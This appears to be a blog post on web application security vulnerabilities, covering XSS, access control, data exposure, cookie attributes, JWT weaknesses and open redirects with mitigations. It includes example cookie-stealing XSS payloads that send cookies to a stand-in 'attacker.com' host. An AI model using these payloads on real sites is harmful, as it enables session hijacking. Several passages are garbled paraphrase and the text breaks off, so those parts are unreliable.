Detailed Analysis on Security Vulnerabilities making Web Applications

 

  ABSTRACT

 

         This blog is designed to showcase, the most important aspect of any application which comes into account when it’s in delivery phase to client/customers and is termed as : “Security”. The main idea here is to define the terminology of security vulnerability and to show what are its causes along with discussion of, how such vulnerabilities make one web Application expose to hackers by being non-compliant to security guards. The most interesting part is discussion/understanding of some mitigation techniques that can prove to be of great help for any web application to know how its vulnerable and non-compliant as well as how such vulnerabilities can be corrected on global application level. Major part of this paper will showcase Dynamic and Static scans that can be done on any web application and correcting the reported vulnerabilities that are big threats to business for any customer, protecting website from hacking. 

 

   INTRODUCTION

 

The pace with which we are progressing ourselves on technological front in all the fields, is making us more advanced from what things were if compared from past last five years. This advancement is also opening the doors to new challenges, threats and risks which can come in any form where it’s always recommended by experts as far as we refer in the area of web applications, then we should be ready for anything and should design latest apps in such a way that they can withstand security threats, vulnerabilities and can guard/protect itself from malicious attacks by an intruder, intended to cause loss in business to customer. This paper will be best to give a shot of reading as its explaining in details how one web application is prone to several security threats as are done generally by hackers and what is their impact, how they cause potential risks and finally what all steps can be taken by application developers and testers to mitigate such possibilities that can save web application from common hacking techniques. There is a dire need of our organization to have in place proper security policies and standards so as to protect its assets and information from attackers and intruders seeking sensitive information which will eventually leads in blackmailing and selling client’s sensitive and confidential data to other stakeholders competing in market to raise the bars. This paper will focus on discussion of security testing approaches categorized as Dynamic security scan[DAST]. This paper will explain about various terms and definitions, followed by implementation and methodology section telling about how vulnerabilities can be targeted and can be fixed with conclusion as end.

  TERMINOLOGIES AND INSIGHTS

 

DAST: Dynamic Application security testing

DAST is black-box testing, which implies that it is tried from outside. DAST doesn't require source code or parallels since it examines by executing the application. The examination enables designers to recognize the runtime issues, which isn't something SAST is prepared to do.

OSS: Open source security and compliance testing

This type of scan is needed for checking if application is having latest version of jQuery, bootstrap, CSS, javascript files as used in application, also framework and versions of development editors are checked if they are not hacking prone. Major advantage is that, it tells about what all third party entities are used and are they licensed or are without any license and terms of conditions. Black Duck software can be used to check web application for OSS scan.

Compliance Testing, otherwise called conformance testing, guideline testing, norms testing, is a kind of testing to decide the consistence of a framework with inside or outside gauges.

Inside principles could be benchmarks set by the organization itself. For instance, a web application advancement organization may set the standard that all website pages must be responsive.

Outer models could be principles set outside of the organization. For instance, Health Insurance Portability and Accountability Act (HIPAA) has set guidelines for the social insurance industry, General Data Protection Regulation (GDPR), Personal Information Protection and Electronic Documents Act (PIPEDA), Protection of Personal Information Act (POPI) etc.

 

 

  METHODOLOGY AND IMPLEMENTATION

 

Reason to identify security vulnerabilities in the system:

•           Loss of client trust.

•           Disturbance to your online methods for income age/assortment.

•           Website vacation, time misfortune and uses in recuperating from harm (reinstalling administrations, reestablishing      reinforcements, and so forth.)

•           Cost related with verifying web applications against future assaults.

•           Related lawful ramifications and charges for having careless safety efforts set up

 

The complete list of security weakness points generally found in web applications:

  1. Input Validation:

It depicts about the inability to appropriately approve input originating from any customer or from the environment before utilizing it. This shortcoming prompts practically the entirety of the significant vulnerabilities in web applications, for example, cross website scripting, SQL infusion, mediator infusion, area/Unicode assaults, locale/Unicode attacks, file system attacks, and buffer overflows.

Information from an outside element or customer ought to never be trusted, since it very well may be discretionarily altered by an assailant: "All Input is Evil". This helplessness is actually named as: Cross site scripting

Cross Site Scripting (XSS) testing checks on the off chance that it is conceivable to control the information parameters of the application with the goal that it creates malicious output. "Lacking information approval (Stored and Reflected Cross-site Scripting).

 

Impact of vulnerability:

A user can execute a malicious script because the application accepts hazardous characters. Attackers can hijack and steal the victim's session and perform unwanted actions towards the system.

Moreover, malicious scripts can be stored in the application and can execute when rendered to the browser. Testers find an XSS vulnerability when the application does not validate their input and creates an output that is under their control. This vulnerability leads to various attacks, for example, stealing confidential information (such as session cookies) or taking control of the victim's browser. An XSS attack breaks the following pattern: Input -> Output == cross-site scripting.

 

There are many types of Cross site scripting techniques used by intruders, some of which are like:

Reflected XSS, Stored XSS, HTTP Verb Tampering and Parameter Pollution etc. In such case an attacker can easily insert JavaScript code which would run under the site's context. By doing so the attacker is able to access other pages on the same domain and can read data like CSRF-Tokens or the set cookies.

  1. Stored Cross-site Scripting Vulnerability - Stored Cross-site scripting vulnerabilities happens when the payload is saved. It emerges when an application gets information from an untrusted source and includes that information inside its later HTTP responses in an unsafe way. Depending on the severity of the attack, user accounts may be compromised, Trojan horse programs activated and page content modified, misleading users into willingly surrendering their private data. Finally, session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their private accounts.

 

 

 

 

 

 

 

 

 

 

Eg: When the username is reflected on the message board page, it will look like this

Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>

 

The above malicious JavaScript is triggered every time a user visits this forum section, and it sends the message board user's cookies that is stored in the user's browser to the attacker, who then uses them to hijack the user's sessions.

 

Whitelist validation should be implemented.

  1. Min. or max length

  2. Min or max bounds (for numeric value)

  3. Acceptable character

  4. Data type (e.g. string, data , integer, rational etc)

  5. Set membership

  6. Pattern (Phone no., social security, emp id etc)

Reflected XSS : An XSS permits an attacker to infuse a script into the content of a site or application. At the point when a client visits the contaminated page, the script will execute in the victim’s browser. This permits attacker to take private data like cookies, account data, or to perform custom activities while impersonating the victim’s identity. As an example of XSS attacks we will use a search functionality on a news website, which works by appending the user's input, which is taken from the GET HTTP request, to the q parameter, as per the example below:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

If the Search functionality is vulnerable to a reflected cross-site scripting vulnerability, the attacker can send the victim a malicious URL such as the below:

https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>

Once the victim clicks on the malicious URL, the XSS attack is executed and the website displays the following:

You searched for "<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>":

 

XSS in IE: VBscript can likewise be infused in IE , which works by appending the user's input

 

<a href="vbscript:alert(1)">xss link</a>

Remediation:

Update the IE to 11 adaptations. this content doesn't work in IE 11 edge mode, however works in IE 10 similarity see.

 

​Eg: Imagine the page http://www.example.com/test.html that contains the below JavaScript code:

  • document.write("<b>Current URL</b> : " + document.baseURI);

  • If you send a HTTP request like http://www.example.com/test.html#<script>alert(1)</script>, simple enough your JavaScript code will get executed, because the page is writing whatever you typed in the URL to the page with document.write function. If you look at the source of the page, you won't see <script>alert(1)</script>because it's all happening in the DOM and done by the executed JavaScript code.

IT simply exploit this DOM based cross-site scripting vulnerability to steal the cookies from the user's browser.

Prevention of this vulnerability: simply use element.textContent to write it in a content like this:

<b>Current URL:</b> <span id="contentholder"></span>

  • document.getElementById("contentholder").textContent = document.baseURI;

</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

Image 1: This snapshot is showing javascript input injection

 

Image while saving record:

Attacker will try to inject special character code and they will be easily accepted by application on save as there is no mechanism implemented to check what input is been sent to API from UI and similarily what is being saved to DB.

Image 2: This snapshot is showing the saved record on UI as no regex validation is used.

 

Mitigation of this vulnerability:

Validate the application input at the server-side for length, type, and business rules before accepting any data to be stored or processed. Encode/escape the user-supplied data appropriately before rendering to the browser.

On UI, proper regular expression should be enforced on all the textbox fields where no paste should be active so that all the input validations are in place from User entry. Avoid using data received from the client for client-side sensitive actions such as rewriting or redirection, sanitize client-side code by inspecting references to DOM objects that pose a threat, for example, URL, location, and referrer

For API, if API’s are not having strong Authentication mechanism or by chance authentication mechanism is compromised, then intruder can inject malicious characters from postman as payloads to API’s. So, API’s should also implement regular expression check on each property of model class so that all text input values are properly validated before sending to Database.

 

  1. ActiveX controls are actually not Internet Explorer-only. They additionally work in other Microsoft applications, for example, Microsoft Office.

Current renditions of Internet Explorer incorporate highlights like ActiveX Filtering, Protected Mode, and "killbits" that avoid defenseless ActiveX controls from running.

  •  Microsoft recommends that customers apply the update immediately.

  1. Open Internet Explorer, click Tools and then click Internet Options.

  2. In the Internet Options window, on the Programs tab, click Manage add-ons.

  3. In the Manage Add-ons window, in the Show: dropdown list, click Downloaded controls, right-click the item that you want to remove, and then click More Information.

  4. In the More Information window, click Remove. If necessary, enter the credentials for an administrator on the computer, and then click Yes to remove the downloaded program file.

  5. XSS in IE:

  6. XSF Occurs when from various areas:

One Movie stacks another Movie with load Movie* capacities or different hacks and approaches a similar sandbox or part of it

XSF could likewise happen when an HTML page utilizes JavaScript to direction an Adobe Flash motion picture, for instance, by calling:

GetVariable: access to flash public and static object from JavaScript as a string.

SetVariable: set a static or public flash object to a new string value from JavaScript.

Unexpected Browser to SWF communication could result in stealing data from the SWF application.

 

HTTP PARAMETER POLLUTION: HTTP Parameter Pollution is when your application makes a back-end HTTP request to another system and these parameters can be manipulated by input into your main application. HPP is defined by the fact the attacker causes a duplicate parameter name to be passed to the back-end request, which overrides the parameter value being explicitly passed by the application. A similar vulnerability, HTTP Parameter Injection is defined by the attacker adding a new parameter to the back-end request which is interpreted by the other system.

HTTP Parameter Pollution can be classified in two categories – client-side or server-side.

Client-side HTTP Parameter Pollution vulnerability: The HTTP Parameter Pollution (HPP) Client-side assault has to do with the customer or client condition, implying that the client's activities (for example get to a connection in a program) are influenced and will trigger a noxious or unintended activity without the client's information

The link to view an email is

<a href=”viewemail.jsp?client_id=79643215&action=view”> View </a>

The link to delete an email is:

<a href=”viewemail.jsp?client_id=79643215&action=delete”> Delete </a>

Server-side HTTP Parameter Pollution vulnerability: It is performed at the backend environment so that the web application get

Affected.

 

  1. Authorization: - It is the process of giving someone permission to do or have something. In multi-user computer systems, a system administrator defines for the system which users are allowed access to the system and what privileges of use (such as access to which file directories, hours of access, amount of allocated storage space, and so forth). Broken Access control is an example of authorization.

  2. Insecure Direct Object References’ occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.

 

Impact of vulnerability:

A normal user can perform functions that should be allowed only for administrator role such as extract user data, search and add a new resource, create a quiz, manage quiz and download reports in the application. This allows unauthorized users to view and change data for which they are not authorized.

Mitigation for this vulnerability:

Restrict user actions to only those required for their role(s). So, if any functionality is disabled for normal user but is enabled for super user, then with every such functionality click should be monitored with role specified and if role match gets failure as to click occurred from lower profile user, then hits should be stopped at that moment only to API from UI. Avoid using Insecure Id’s, Path Traversal, Forced Browsing Past Access Control Checks, File Permissions, Client Side Caching, Application not implemented account lock out which may lead to Brute force attack.

 

  1. Sensitive Data Exposure:

This vulnerability covers all those scenarios where any information about the application is visible to user/attacker and can be used to know more about hosting server IP’s , weak SSL/TLS certificate information, application framework, version of javascript and CSS files used and most importantly user’s credentials stored in config files and direct access to config files from URL hit.

 

Below examples will give more knowledge:

  1. In the application during user authentication a request is getting triggered into the end point:  /App/Configs/config.local.json under the domain https://xyz.com. Which is having Sensitive information such as Admin user credentials using which a malicious user can able to authenticate to https://xyz.com . As a guest user a malicious user can able to access the json file and able to get the details.

Impact of vulnerability:

It has disclosed confidential information of super user to unauthorised/ guest users.One can access https://xyz.com/App/Configs/config.local.json in another browser and can see that its executed and complete config file with all sensitive information is available to attacker.

Mitigation

  • Proper Access control should be implemented in the entire application. Never store sensitive Information in a Json file or text file and disable direct access to the resource.

  • Do not hard code credentials, API keys, IP addresses, or any other sensitive information in the code, including first names and last names, not even in the form of comments.

  • Configure the correct MIME types on your web server for all the different files being used in your web applications.

  • Sensitive data, files and any other item of information that do not need to be on the web servers should never be uploaded on the web server.

  • Always check whether each of the requests to create/edit/view/delete resources has proper access controls, preventing privilege escalation issues and making sure that all the confidential information remains confidential.

 

  1. An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information like hosting server’s IP address or IIS versions for .Net Applications.

Impact of vulnerability:

This vulnerability exposes Microsoft IIS details with it’s Version.

Mitigation of vulnerability:

The Http Header "X-ASPNET-VERSION" reveals the version of ASP.NET being used by the Secret Server application pool. This can be done in web.config file:

<system.web>

<httpRuntime enableVersionHeader="false" />

</system.web>

  1. A site doesn't use or enforce TLS for all pages or supports weak encryption.

Impact of Vulnerability:

An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user's session cookie. The attacker then replays this cookie and hijacks the user's (authenticated) session, accessing or modifying the user's private data. Instead of the above they could alter all transported data, e.g. the recipient of a money transfer.

Mitigation of Vulnerability:

  • Don't store sensitive data unnecessarily. Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen.

  • Make sure to encrypt all sensitive data at rest.

  • Disable caching for response that contain sensitive data.

  • Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as Argon2, scrypt, bcrypt or PBKDF2.

 

  1. Security Misconfiguration: This defines all those scenarios where Improper server or web application configurations are explained that can lead to various flaws as listed below:

•             Debugging enabled.

•             Incorrect folder permissions.

•             Using default accounts or passwords.

•             Setup/Configuration pages enabled.

Some of the examples are:

  • The app server admin console is automatically installed and not removed

Default accounts are not change.

Impact:

Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

  • Directory listing is not disabled on your server

Attacker discovers they can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which they decompile and reverse engineer to get all your custom code. They then find a serious access control flaw in your application.

Mitigation of Vulnerabilities:

  • Disable administration interfaces.

  • Disable debugging.

  • Disable use of default accounts/passwords.

  • Configure server to prevent unauthorized access, directory listing, etc.

  • Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.

 

  1. Persistent session cookies:

This is a permanent cookie, used to collect information about the user or an application behavior. It is stored on a user’s browser or hard drive until it expires or until the user deletes it. If this cookie is not deleted by specific time then it can be stolen by attackers and can enter by forgery into application’s authentication mechanism. This cookie is set with expiration time. This can be taken care by using cookie security header in web config with following:

 

  • ‘Secure’ and ‘Max-Age’ attributes

  • ‘Max-Age’ can be set with:

  • 0 (Zero – expires cookie immediately in case of session timeout or if browser closes)

  • > 0 (retains cookie for the duration specified)

  • e.g.: Set-Cookie: <cookie-name>=<cookie-value>; Secure; HttpOnly; Max-Age=9999

 

 

 

 

 

 

 

 

 

 

 

 

 

Image 3: This snapshot is showing cookie details having secure tags and expiry tag

 

Browser Hijacking: “Browser Hijacking” is “a form of unwanted software that modifies a web browser's settings without a client's authorization. “Browser hijacking software can do things with your browser that you didn’t intend to do yourself.

For example, when your browser is hijacked, you might find that your previous default homepage has changed, or the search engine isn’t Google anymore but a different search engine instead.

Another common sign of browser hijacking is unwanted ads displayed in your browser or in popup windows. Such ads can also redirect you to a hijacker page.

The purpose of these ads or to redirect someone to a certain page is to increase traffic on the site. The point is to get as many people to click the ads as possible, because the hackers are paid by the number of clicks on ads.

That means that whenever the hijacker generates more traffic to a website, the higher the advertising profit will be.

In extreme cases, browser hijacking can lead to serious problems. It’s possible for browser hijackers to manipulate your browser into downloading malicious software.

Your browser could automatically download (sometimes without you knowing) spyware, ransomware or other types of malware that can seriously harm your device.

Alternatively, browser hijackers might be after your banking information or credit card details. By installing a key logger onto your device via a hijacked browser, hackers could potentially see everything you type on your device.

    1. Update Your OS and Your Browser Software

2. Use a Security-Conscious Alternate DNS Resolution Provider

3.Use Your Antivirus Software's 'Real-time Protection' Feature

4. Use Caution Before You Install Any Software from the Internet

 

Use of weak cipher:

This term is used to recognize the security strength of any SSL/TLS certificate used for web application to make it a secure URL. It’s very important for security certificate to be always updated and using latest TLS subscription and nowhere SSL certificates as they are more secure and very less vulnerable to attacks. A weak cipher is defined as an encryption/decryption algorithm that uses a key of insufficient length. Using an insufficient length for a key in an encryption/decryption algorithm opens up the possibility (or probability) that the encryption scheme could be broken (i.e. cracked). The larger the key size the stronger the cipher. Weak ciphers are generally known as encryption/ decryption algorithms that use key sizes that are less than 128 bits (i.e., 16 bytes … 8 bits in a byte) in length. To understand the ramifications of insufficient key length in an encryption scheme, a little background is needed in basic cryptography.

Table 1: This table is giving information about encryption algorithm

AES: Advanced Encryption Standard (AES) is specified by NIST in FIPS 197. AES is a 128-bit block cipher supporting keys of 128, 192,and 256 bits. Symmetric (also known as secret-key) ciphers use the same key for encrypting and decrypting, so the sender and the receiver must both know -- and use -- the same secret key

DES: Digital Encryption Standard (DES) is described in FIPS 46-3. DES uses 64 bit key out of which 56 are generated randomly & 8 bits help in error detection whereas Triple DES Encryption (also known as DES-EDE. 3DES. or Triple-DES) is data that is encrypted using the DES algorithm three separate times. It is first encrypted using the first subkey. then decrypted with the second subkey, and encrypted with the third subkey

The common asymmetric encryption algorithms are like : RSA and DH (Diffie Hellman)

RSA : RSA is an asymmetric encryption algorithm, encrypting an input into an output that can then be decrypted (contrast a hash algorithm which can't be reversed). It uses a different key for encryption (the public one) than for decryption (the private one). This can therefore be used to receive encrypted messages from others - you can publish your public key, but only you with the private key can then decrypt the messages that have been encrypted with it.

If you reverse the keys for RSA, it can be used to generate a digital signature - by encrypting something with your private key, anyone can decrypt it with the public key and, if they are sure the public key belongs to you, then they have confidence that you were the one who encrypted the original. This is normally done in conjunction with a hash function - you hash your input, then encrypt that with your private key, giving a digital signature of a fixed length for your input message.

DH (Diffie Hellman): It is also called exponential key exchange, is a method of digital encryption that uses numbers raised to specific powers to produce decryption keys on the basis of components that are never directly transmitted, making the task of an intended code breaker mathematically overwhelming. Diffie–Hellman key exchange establishes a shared secret between two parties that can be used for secret communication for exchanging data over a public network and actually uses public key techniques to allow the exchange of a private encryption key

 

The common hash algorithms are below: MD5 and SHA1

SHA1: SHA1 is a hash algorithm, which is a one-way function, turning an input of any size into a fixed-length output (160 bit in this case). A cryptographic hash function is one for which it should not be possible to find two inputs giving the same output except by brute force (for instance, with a 128-bit function you should need to try on average 2^64 message to find such a "collision" due to something called the birthday paradox.

In fact, for SHA1 this is no longer the case - the algorithm is (in cryptographic terms at least) broken now, with a collision attack described by Xiaoyun Wang et al that beats a classic birthday attack. The SHA2 family is not broken, and a process is underway by NIST to agree on a SHA3 algorithm or family of algorithms.

Rule - Use strong approved cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing. Do not use weak algorithms, such as MD5 or SHA1. Avoid hashing for password storage, instead use Argon2, PBKDF2, bcrypt or scrypt. Note that the classification of a “strong” cryptographic algorithm can change over time.


8.  Business logic bypass:

This term defines about how a business logic associated with any functionality in the web application can be compromised and can be used to know most about the application without actually going in the main parts. Validation and business rules on any button or text , fields validation should be matched both client side and server side, so as to maintain double layer of security as database would be protected if attack is passed from UI then it should be checked at API level as well. Business Logic exploits can be broken into the following categories:

a. Test business logic data validation

In business logic data validation testing, it is verified that the application does not allow users to insert “unvalidated” data into the system/application. This is important because without this safeguard attacker may be able to insert “unvalidated” data/information into the application/system at “handoff points” where the application/system believes that the data/information is “good” and has been valid since the “entry points” performed data validation as part of the business logic workflow.

b. Test Ability to forge requests

In forged and predictive parameter request testing, we verify that the application does not allow users to submit or alter data to any component of the system that they should not have access to, are accessing at that particular time or in that particular manner. This is important because without this safeguard attacker may be able to “fool/trick” the application into letting them going through sections of the application of system that they should not be allowed in at that particular time, thus circumventing the applications business logic workflow.

c. Test Upload of Unexpected File Type

In unexpected file upload testing, we verify that the application does not allow users to upload file types that the system is not expecting or wanted per the business logic requirements. This is important because without these safeguards in place attackers may be able to submit unexpected files such as .exe or .php that could be saved to the system and then executed against the application or system.

d. Test Integrity Checks

In integrity check and tamper evidence testing, we verify that the application does not allow users to destroy the integrity of any part of the system or its data. This is important because without these safe guards attackers may break the business logic workflow and change of compromise the application/system data or cover up actions by altering information including log files.

 

e. Test for Process Time

In process timing testing, we verify that the application does not allow users to manipulate a system or guess its behavior based on input or output timing. This is important because without this safeguard in place attackers may be able to monitor processing time and determine outputs based on timing, or circumvent the application’s business logic by not completing transactions or actions in a timely manner.

f. Test Number of Times a Function Can Be Used Limits

In function limit testing, we verify that the application does not allow users to exercise portions of the application or its functions more times than required by the business logic workflow. This is important because without this safeguard in place attackers may be able to use a function or portion of the application more times than permissible per the business logic to gain additional benefits.

g. Testing of Circumvention of Work Flows

In circumventing workflow and bypassing correct sequence testing, we verify that the application does not allow users to perform actions outside of the “approved/required” business process flow. This is important because without this safeguard in place attackers may be able to bypass or circumvent workflows and “checks” allowing them to prematurely enter or skip “required” sections of the application potentially allowing the action/transaction to be completed without successfully completing the entire business process, leaving the system with incomplete backend tracking information.

h. Test Defenses Against Application Mis-use

In application mis-use testing, we verify that the application does not allow users to manipulate the application in an unintended manner.

 

 Improper Cookies attributes:

This is focusing on two types of cookies used by web application to store user credentials that can be used for preventing user to re-sign in on every refresh. So, two cookie types are named as: Transient Cookies and Persistent cookies. Since, these cookies are stored in local storage of browser, they can be used by attacker to steal some very sensitive information to generate more trusted cookies without user’s knowledge.

Transient cookie, a cookie that is erased when the user closes the Web browser. The session cookie is stored in temporary memory and is not retained after the browser is closed. Session cookies do not collect information from the user’s computer. A persistent cookie is a data file capable of providing websites with user preferences, settings and information for future visits. Persistent cookies provide convenient and rapid access to familiar objects, which enhances the user experience (UX).

Recommendations that should be taken care of while using cookies for Forms Authentication purposes:

Session cookies should be set proper “secure attributes” and “HTTP attributes”

Cookies path should not be redirected to root as it is set by default and user can directly go to this path to fetch information.

Not “path= /” , instead it can be something like: path = “desktop/abc/cc”

Cookies can be secured by properly setting cookie attributes. These attributes are: Cookies are pieces of information stored on the client side, which are sent to the server with every request made by the client.

Testing for cookie attribute vulnerabilities:

  • Secure Attribute - Whenever a cookie contains sensitive information or is a session token, then it should always be passed using an encrypted tunnel.

  • HttpOnly Attribute - This attribute should always be set even though not every browser supports it. Check to see if the ";HttpOnly" tag has been set.

Using Java to Set HttpOnly

 Cookie cookie = getMyCookie("myCookieName"); cookie.setHttpOnly(true);

Using .NET to Set HttpOnly
HttpCookie = new HttpCookie("myCookie")` `myCookie.HttpOnly = True`

 

Using Python (cherryPy) to Set HttpOnly

tools.sessions.httponly = True

Using PHP to set HttpOnly
  • seesion.cookie httponly= True

 

  • Domain Attribute - Verify that the domain has not been set too loosely.

Check to see "; domain=app.xyz.com" and NOT "; domain=.xyz.com"

  • Path Attribute - Verify that the path attribute, just as the Domain attribute, has not been set too loosely.

For example, if the application resides at /myapp/, then verify that the cookies path is set to "; path=/myapp/" and NOT "; path=/".

  • Expires Attribute - If this attribute is set to a time in the future verify that the cookie does not contain any sensitive information.

 For example, if a cookie is set to "; expires=Sun, 31-Jul-2016 13:45:29 GMT" and it is currently July 31st 2014, then the tester should inspect the cookie.

 

Mitigation:

1.Don't Share cookies with subdomains

2.Don't share cookies with other applications

3.Limit cookie lifespan

Testing for cookie authentication replay: The following testing steps can help to identify if the website simply use cookie for authentication token without other checking on web site.

  • Step 1 - Use Chrome Extension Cookie Editor (i.e. Chrome EditThisCookie) to view existing cookie name/value.

  • Step 2 - Use Chrome Login the target testing website

  • Step 3 - Use Chrome Extension Cookie Editor to view cookie again. Identify those newly added or updated cookie. These can be authentication cookie.

  • Step 4 - Use Firefox to visit the target testing website and manually add all previous 3 identified cookies by FireFox Cookie Editor (i.e. Firefox Extension Advanced Cookie Manager)

  • Step 5 - Check Firefox browser existing website login status to see if current web page can get authenticated and login without username and password

 Multiple concurrent sessions

  • Description: It is observed that the application allows simultaneous login for one user id. If in case the user login credentials are stolen it is possible for the adversary to login and carry out targeted attacks without victim’s knowledge. One at a time in one browser in one tab user login and open other tab user should be logged out from previous tab and login page open in other tab

  • Reason : If hacker steel your information from one tab and you logged in multiple tab then all your details will be used by hackers in background without your knowledge. Simultaneous tab not allowed. To skip background activity like ICICIbank

Impact: An adversary can log in to the application without victim’s knowledge.

Mitigation: There are some ways to handle this

  • New sessions will invalidate the old ones.

  • Prevent a new login unless the user logs out from the last session.

  • Killing the session after some time.

  • Restrict from allowing simultaneous login

Password Autocomplete feature enabled

Description: Browsers have a feature to remember the recently typed web addresses, web form entries, usernames and passwords. When a user starts typing, the browser suggests possible matches. This feature is known as "Autocomplete" in IE and "Remember Passwords" in Firefox. If a browser is configured for "Autocomplete settings/Remember Passwords" to remember the username and password, then every time a user logs in to the application, the browser asks the user to remember the password. If the user had accidentally or intentionally clicked "Yes", a local adversary can log in with the "remembered" password of the previous user. The browser stores the saved password either as clear text or in a form that is easily reversible by an adversary. It was found that the latest versions of Internet Explorer (i.e. IE 11 onwards), Firefox, Chrome and Opera prompt the user to save the password after logging in to the application, although the application implements the "Autocomplete=off" attribute in the <form> tag.

Impact: An Adversary can steal username and password hence gaining access to the user account.

Remediation:

The application should ensure that the Autocomplete attribute for all sensitive fields is set to OFF. Sensitive fields include the Login form, Change Password form, Registration form, etc. This can be done using either of the following commands – < form autocomplete="off"> – for all form fields. < input autocomplete="off" /> – for just one field.E.g. < input type="password" autocomplete="OFF" class="elm200" id="txtPassword" name="txtPassword" />The browser will not prompt the user to remember the password if the above attribute is set to OFF. Even if the browser has "Autocomplete settings/Remember Passwords" configured to remember the password, the attribute setting in the code overwrites the browser settings.Internet Explorer 11 and the latest versions of Firefox, Chrome and Opera ignore the "autocomplete=OFF" attribute and prompt the user to save the password irrespective of the attribute being set. Hence, the user should be warned with a generic message. To prevent the browsers from storing the user credentials, an implementation involving HTML and JavaScript can be used.

 

URL Redirection to Untrusted Site ('Open Redirect'): Low Severity

An Open Redirection is when a web application or server uses a user submitted link to redirect the user to a given website or page. Even though it seems like a harmless action, to let a user decide on which page he wants to be redirected to, if exploited such technique can have a serious impact especially when combined with other vulnerabilities and tricks.

Impact:

An attacker can use this vulnerability to redirect users to other malicious websites, which can be used for phishing and similar attacks.

For example:

1.  Open the URL https://xyz.com/ which will redirect to the URL

https://xyz.com/account/login?ReturnUrl=https://pqr.com

2.  Now change the ReturnUrl value to a malicious page say https://google.com/ so the Malicious URL will be

https://xyz.com/account/login?ReturnUrl=https://google.com

3.  Which will open a valid and authenticated page and user provided his/ her credentials

4.  Now once the user is authenticated to the page it will redirect to the malicious page which constructed by an attacker.

Mitigation of vulnerability:

The easiest and most effective way to prevent vulnerable open redirects would be to not let the user control where your page redirects him to. If you have to redirect the user based on URLs, you should always use an ID which is internally resolved to the respective URL. If you want the user to be able to issue redirects you should use a redirection page that requires the user to click on the link instead of just redirecting them. You should also check that the url begins with http:// or https:// and also invalidate all other URLs to prevent the use of malicious URIs such as javascript.URL should be started with https and block other http.

 

Token validation should be checked

  • JWT is used to carry information related to the identity and characteristics (claims) of a client. This “container” is signed by the server in order to avoid that a client tamper it in order to change, for example, the identity or any characteristics (example: change the role from simple user to admin or change the client login).

  • This token is created during authentication (is provided in case of successful authentication) and is verified by the server before any processing. It is used by an application to allow a client to present a token representing his “identity card” (container with all information about him) to server and allow the server to verify the validity and integrity of the token in a secure way, all of this in a stateless and portable approach (portable in the way that client and server technologies can be different including also the transport channel even if HTTP is the most often used).

Token structure

E.g: [Base64(HEADER)].[Base64(PAYLOAD)].[Base64(SIGNATURE)]

Issues

NONE hashing algorithm : This attack, described here occur when a attacker alter the token and change the hashing algorithm to indicate, through, the none keyword, that the integrity of the token has already been verified.

Mitigation: First, use a JWT library that is not exposed to this vulnerability.Last, during token validation, explicitly request that the expected algorithm was used.

Token sidejacking : This attack occur when a token has been intercepted/stolen by a attacker and this one use it to gain access to the system using targeted user identity.

Mitigation: A way to protect is to add “user context” in the token. User context will be composed by the following information:

Token explicit revocation by the user : This problem is inherent to JWT because a token become only invalid when it expires. The user has no built-in feature to explicitly revoke the validity of a token. This means that if it is stolen, a user cannot revoke the token itself and then block the attacker.

Mitigation: A way to protect is to implement a token blacklist that will be used to mimic the “logout” feature that exists with traditional session system.

Token information disclosure: This attack occurs when a attacker access to a token (or a set of tokens) and extract information stored into it (JWT token information are base64 encoded at the basis) in order to obtains information about the system. Information can be for example the security roles, login format…

Mitigation : A way to protect, is to cipher the token using for example a symmetric algorithm. It’s also important to protect the ciphered data against attack like Padding Oracle or any other attack using cryptanalysis.

Token storage on client side: This occurs when an application stores the token in a manner exhibiting the following behavior:

  • Automatically sent by the browser (Cookie storage).

  • Retrieved even if the browser is restarted (Use of browser localStorage container).

  • Retrieved in case of XSS issue (Cookie accessible to JavaScript code or Token stored in browser local/session storage).

Mitigation:

  1. Store the token using the browser sessionStorage container.

  2. Add it as a Bearer with JavaScript when calling services.

  3. Add fingerprint information to the token.

Weak Token Secret: When the token is protected using a HMAC based algorithm, the security of the token is entirely dependent on the strength of the secret used with the HMAC. If an attacker can obtain a valid JWT they can then carry out an offline attack and attempt to crack the secret using tools such as John the Ripper or Hashcat.

Mitigation: The simplest way to prevent this attack is to ensure that the secret used to sign the JWTs is strong and unique, in order to make it harder for an attacker to crack. As this secret would never need to be typed by a human, it should be at least 64 characters and generated using randomness. Alternatively, consider the use of tokens that are signed with RSA rather than using an HMAC and secret key.

Request parameters should be checked for validation. Admin user token passed in à Viewer token and result in display for admin and if anything found malicious then the application should be logged out

 

Latest jQuery version should be updated

jQuery v1.10.2 used that has known vulnerabilities.:CVE 2015-9251 CVE 2016-10707

Impact:

This can let an attacker add or modify an existing property that will then exist on all objects and perform a denial of service (DoS) attack. A distributed denial of service (DDoS) attack is a malicious attempt to make an online service unavailable to users, usually by temporarily interrupting or suspending the services of its hosting server.

Mitigation:

Always web applications should use latest version of all components so that risks of security vulnerability is reduced to great extent.

  1. DDoS attack : A distributed denial of service (DDoS) attack is a malicious attempt to make an online service unavailable to users, usually by temporarily interrupting or suspending the services of its hosting server. A DoS attack is an attempt to make a machine or network resource unavailable to its future users, by indefinitely interrupting or suspending services of a host connected to the Internet.

Prevention:

Every single user who accesses your router should be given a username and password. 

· Make sure you have RPF (ingress and egress filtering) on the interface of every static connection. 

· Disable Telnet on vtys and allow only SSH based connections. 

· Use Vtys filters to prevent public routers from getting response from your router. 

· Use TACACS (Terminal Access Controller Access Control System) for password verification.

Over permissively CORS policy: -

